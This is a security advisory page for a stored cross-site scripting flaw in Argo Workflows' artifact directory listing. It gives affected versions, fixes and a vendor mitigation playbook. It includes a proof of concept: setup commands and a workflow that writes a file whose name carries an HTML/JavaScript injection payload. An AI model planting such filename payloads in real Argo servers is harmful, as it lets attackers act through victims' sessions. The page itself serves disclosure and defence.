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GHSA-cv78-6m8q-ph82

Argo Workflows affected by stored XSS in the artifact directory listing

Also known asBIT-argo-workflows-2026-23960CVE-2026-23960GO-2026-4350
Published
Jan 21, 2026
Updated
Feb 4, 2026
Affected
3 pkgs
Patched
2 / 3
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk16th percentile+0.19%
0.00%0.25%0.50%0.75%0.1%0.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

3 pkgs affected
🐹github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details

The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244

PoC

  1. Deploy Argo Workflows:
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
  1. Port‑forward Argo Server:
kubectl -n argo port-forward deploy/argo-server 2746:2746
  1. Create the PoC workflow:
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
  1. Wait for completion:
kubectl -n argo get wf -w
  1. Get the node ID:
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
  1. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/
<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />

Impact

  • The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
  • The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):

  • Read information about the victim’s workflows.
  • Create or delete workflows.

Affected Packages

3 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/argoproj/argo-workflows/v3all versions3.6.17
🐹Gogithub.com/argoproj/argo-workflows/v33.7.0&&< 3.7.83.7.8
🐹Gogithub.com/argoproj/argo-workflowsall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/argoproj/argo-workflows/v3 to 3.6.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cv78-6m8q-ph82 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cv78-6m8q-ph82 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cv78-6m8q-ph82. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. ### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory. https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054
O3 Security · Impact-Aware SCA

Is GHSA-cv78-6m8q-ph82 in your dependencies?

O3 detects GHSA-cv78-6m8q-ph82 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.